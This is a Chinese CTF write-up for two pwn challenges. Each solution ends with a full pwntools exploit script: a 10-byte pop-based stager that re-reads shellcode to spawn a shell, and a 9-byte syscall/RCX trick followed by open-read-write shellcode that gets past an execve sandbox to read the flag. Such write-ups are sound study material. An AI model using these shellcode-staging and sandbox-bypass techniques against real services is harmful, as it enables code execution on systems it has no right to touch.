only
checksec:

保护全开 IDA64打开

显示了菜单,在bookkeeping函数里:

%lf是双精度浮点数,要求输入的浮点数是:

当输入一个符合要求的浮点数时,就会跳转到漏洞函数:

选 run your code会先执行一段汇编,这段汇编是清空除了RIP RSP的其他寄存器:

然后允许输入0xA大小的shellcode
0xA大小的汇编太小,所以需要重新利用syscall写一个新的read
执行写入shellcode前的栈布局是这样的:

将RAX赋值为0,将RDI赋值为0,RSI赋值为shellcode地址的起始,RDX赋值为大一些的长度,就能重新读shellcode
现在栈上的RSP+0x8是0 RSP+0x10是一个大数,RSP+0x18是1,RSP+0x28是shellcode地址
所以shellcode就能利用不断pop把这些参数传给各个寄存器
在执行了syscall后就能写入普通的shellcode get shell了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * from LibcSearcher import * from struct import pack import time import random from ctypes import *
context(log_level='debug',arch='amd64', os='linux') p = process('./chal') gdb.attach(p)
p.sendlineafter("3.exit\n", b'2')
x = 0xD0E0A0D0B0E0E0F
d = struct.unpack('<d', struct.pack('<Q', x))[0]
print(d) p.sendlineafter("input:\n", b'8.592564544313935e-246') p.sendlineafter("Make a choice:", b'1')
code = asm(''' pop rax; pop rax; pop rdx; pop rdi; pop rdi; pop rsi; syscall; ''') pause() p.sendafter("code:", code)
sleep(1) shellcode = asm(shellcraft.sh()) p.send(b'a' * 0x32 + shellcode)
p.interactive()
|
only_rev
checksec:

开了全保护

程序开了沙箱,禁用了execve和execveat
IDA64查看漏洞函数:

这个程序和上一个相比,预先执行的汇编多了对RSP和RBP的操作

同时写入大小也限制在了9字节
由于加入了对栈的操作,栈结构被破坏无法像上一题一样利用pop传给寄存器:

Linux下的shellcode技巧总结 | roderick - record and learn!
在roderick师傅写的shellcode总结文章可以知道,当寄存器全0的时候执行syscall会将RIP的值传给RCX
执行syscall之前:

执行syscall之后:

可以看到RCX被赋予了和RIP相同的值(syscall在执行系统调用前,都会将RIP保存在RCX里,全为0的寄存器相当于执行了读取0字节的read,会直接不读取结束)
接下来就将rcx赋值给rsi,rdx(dl)给0xff字节来执行ORW就能得到flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * from LibcSearcher import * from struct import pack import time import random from ctypes import *
context(log_level='debug',arch='amd64', os='linux') p = process('./only_rev') gdb.attach(p)
p.sendlineafter("3.exit\n", b'2')
x = 0xD0E0A0D0B0E0E0F
d = struct.unpack('<d', struct.pack('<Q', x))[0]
print(d) p.sendlineafter("input:\n", b'8.592564544313935e-246') p.sendlineafter("Make a choice:", b'1')
code = asm('''
syscall; mov rsi, rcx; mov dl, 0xff; syscall; ''') pause() p.sendafter("code:", code) sleep(0.5) shellcode = asm(''' mov dl, 0xff; syscall; sub rbp,0x12345678 sub rsp,0x12345678 push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''') p.send(shellcode) p.interactive()
|